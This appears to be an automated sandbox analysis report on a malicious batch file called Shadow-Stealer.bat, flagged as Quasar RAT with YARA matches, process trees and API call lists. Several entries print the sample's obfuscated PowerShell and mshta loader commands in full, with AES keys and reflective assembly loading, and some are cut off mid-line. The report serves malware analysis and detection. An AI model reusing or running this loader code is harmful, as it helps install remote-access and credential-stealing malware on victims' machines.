dllhost.exe (PID: 3268 cmdline: C:\Windows\System32\dllhost.exe /Processid:{6cf183fd-4345-4e83-86c3-b67edbc5a93f} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 1064 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 5112 cmdline: C:\Windows\System32\dllhost.exe /Processid:{a65f9779-a778-403b-96e3-bdb0de023251} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

lsass.exe (PID: 652 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 928 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 996 cmdline: dwm.exe MD5: 5C27608411832C5B39BA04E33D53536C)

dllhost.exe (PID: 4176 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{e8c47de4-1fa8-45ae-ba48-1e652857c9f1} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 5564 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{38d5fde3-99ae-4373-8c2f-8b4f5f08f7f3} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

cscript.exe (PID: 6776 cmdline: "cscript" "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /dstatus MD5: CB601B41D4C8074BE8A84AED564A94DC)

WmiPrvSE.exe (PID: 3040 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

dllhost.exe (PID: 2688 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{25768c7a-7ac5-4718-a464-d7bd931650f7} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 3968 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{b21552e6-10c0-4b77-8348-e34fa993b74e} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

yApVCRtJPjQJu.exe (PID: 6932 cmdline: "C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

dllhost.exe (PID: 5132 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{408c66d6-6f69-434f-838a-86e87b4371ae} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

dllhost.exe (PID: 5076 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{205dcea9-d057-463c-a3cf-998f0b1939dc} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000F.00000002.3570248897.000001FACD23D000.00000004.00000800.00020000.00000000.sdmp	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x3a6528:$op1: 04 1E FE 02 04 16 FE 01 60 0x3f6560:$op1: 04 1E FE 02 04 16 FE 01 60 0x3a644c:$op2: 00 17 03 1F 20 17 19 15 28 0x3f6484:$op2: 00 17 03 1F 20 17 19 15 28 0x3a6e92:$op3: 00 04 03 69 91 1B 40 0x3a76bb:$op3: 00 04 03 69 91 1B 40 0x3f6eca:$op3: 00 04 03 69 91 1B 40 0x3f76f3:$op3: 00 04 03 69 91 1B 40
Process Memory Space: $sxr-powershell.exe PID: 6400	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: $sxr-powershell.exe PID: 6400	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
15.2.$sxr-powershell.exe.1facccc4e50.31.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
15.2.$sxr-powershell.exe.1facd584ef8.29.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x5c830:$op1: 04 1E FE 02 04 16 FE 01 60 0xac868:$op1: 04 1E FE 02 04 16 FE 01 60 0x5c754:$op2: 00 17 03 1F 20 17 19 15 28 0xac78c:$op2: 00 17 03 1F 20 17 19 15 28 0x5d19a:$op3: 00 04 03 69 91 1B 40 0x5d9c3:$op3: 00 04 03 69 91 1B 40 0xad1d2:$op3: 00 04 03 69 91 1B 40 0xad9fb:$op3: 00 04 03 69 91 1B 40
15.2.$sxr-powershell.exe.1facd584ef8.29.raw.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x5e630:$op1: 04 1E FE 02 04 16 FE 01 60 0xae668:$op1: 04 1E FE 02 04 16 FE 01 60 0x5e554:$op2: 00 17 03 1F 20 17 19 15 28 0xae58c:$op2: 00 17 03 1F 20 17 19 15 28 0x5ef9a:$op3: 00 04 03 69 91 1B 40 0x5f7c3:$op3: 00 04 03 69 91 1B 40 0xaefd2:$op3: 00 04 03 69 91 1B 40 0xaf7fb:$op3: 00 04 03 69 91 1B 40

Code function: 13_2_00007FF7137F4224 InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,wcsrchr,lstrcmpW,SetConsoleMode,CreateProcessW,CloseHandle,CreateProcessAsUserW,_local_unwind,GetLastError,_local_unwind,_local_unwind,CloseHandle,DeleteProcThreadAttributeList,GetLastError,GetLastError,DeleteProcThreadAttributeList,

13_2_00007FF7137F4224

Source: C:\Windows\$sxr-mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Section loaded: sfc.dll

Jump to behavior

Source: 15.2.$sxr-powershell.exe.1facd584ef8.29.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 15.2.$sxr-powershell.exe.1facd584ef8.29.raw.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000000F.00000002.3570248897.000001FACD23D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File created: C:\Windows\$sxr-powershell.exe

Jump to behavior

Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F88C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	13_2_00007FF7137F88C0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF71380BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	13_2_00007FF71380BCF0
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F8114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	13_2_00007FF7137F8114
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F7FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	13_2_00007FF7137F7FF8
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F89E4 NtQueryInformationToken,NtQueryInformationToken,	13_2_00007FF7137F89E4
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF713811538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	13_2_00007FF713811538
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137E3D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	13_2_00007FF7137E3D94
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_00007FF7137F898C NtQueryInformationToken,	13_2_00007FF7137F898C
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165E2AF4 NtEnumerateValueKey,OpenMutexW,CloseHandle,FindCloseChangeNotification,NtEnumerateValueKey,	22_2_000002D0165E2AF4
Source: C:\Windows\SysWOW64\dllhost.exe	Code function: 23_2_004015C1 OpenProcess,NtQueryInformationProcess,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,	23_2_004015C1
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F1512744 NtQueryDirectoryFileEx,GetFileType,StrCpyW,	24_2_000002D6F1512744
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F151221C NtQuerySystemInformation,StrCmpNIW,	24_2_000002D6F151221C
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B492AF4 NtEnumerateValueKey,OpenMutexW,CloseHandle,	26_2_000001D15B492AF4

Source: C:\Windows\$sxr-cmd.exe

Code function: 13_2_00007FF7137E5240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,

13_2_00007FF7137E5240

Source: Shadow-Stealer.bat.exe, 00000003.00000000.2146671454.00007FF6C0029000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs Shadow-Stealer.bat
Source: Shadow-Stealer.bat.exe.0.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs Shadow-Stealer.bat

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winBAT@52/13@1/1

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\$sxr-cmd.exe

Code function: 13_2_00007FF7137E32B0 _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,wcschr,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,GetLastError,GetLastError,

13_2_00007FF7137E32B0

Source: C:\Windows\System32\dllhost.exe

Code function: 20_2_0000000140001B30 LookupPrivilegeValueW,AdjustTokenPrivileges,FindCloseChangeNotification,FindResourceA,RegCreateKeyExW,RegSetKeySecurity,RegCreateKeyExW,RegSetValueExW,RegCloseKey,CreateThread,CreateThread,SleepEx,

20_2_0000000140001B30

Source: C:\Windows\$sxr-powershell.exe

Anti Malware Scan Interface: [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFh

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Shadow-Stealer.bat" "

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File read: C:\Users\user\Desktop\Shadow-Stealer.bat

Jump to behavior

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Shadow-Stealer.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe "Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{2ca74e05-00fd-4f33-afb0-1baa728859ba}
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{a795ed5e-f9f8-4b9c-9e39-bf732c676d16}
Source: unknown	Process created: C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{3885b722-1a15-44b5-b09d-ff91e5413f87}
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{99a849d9-b898-48bd-a9ae-8d2739f763c9}
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8c0db931-f9fd-42d4-a5c0-43590a2016f6}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{c14234ed-73ac-4d78-a200-79518435a2b0}
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, 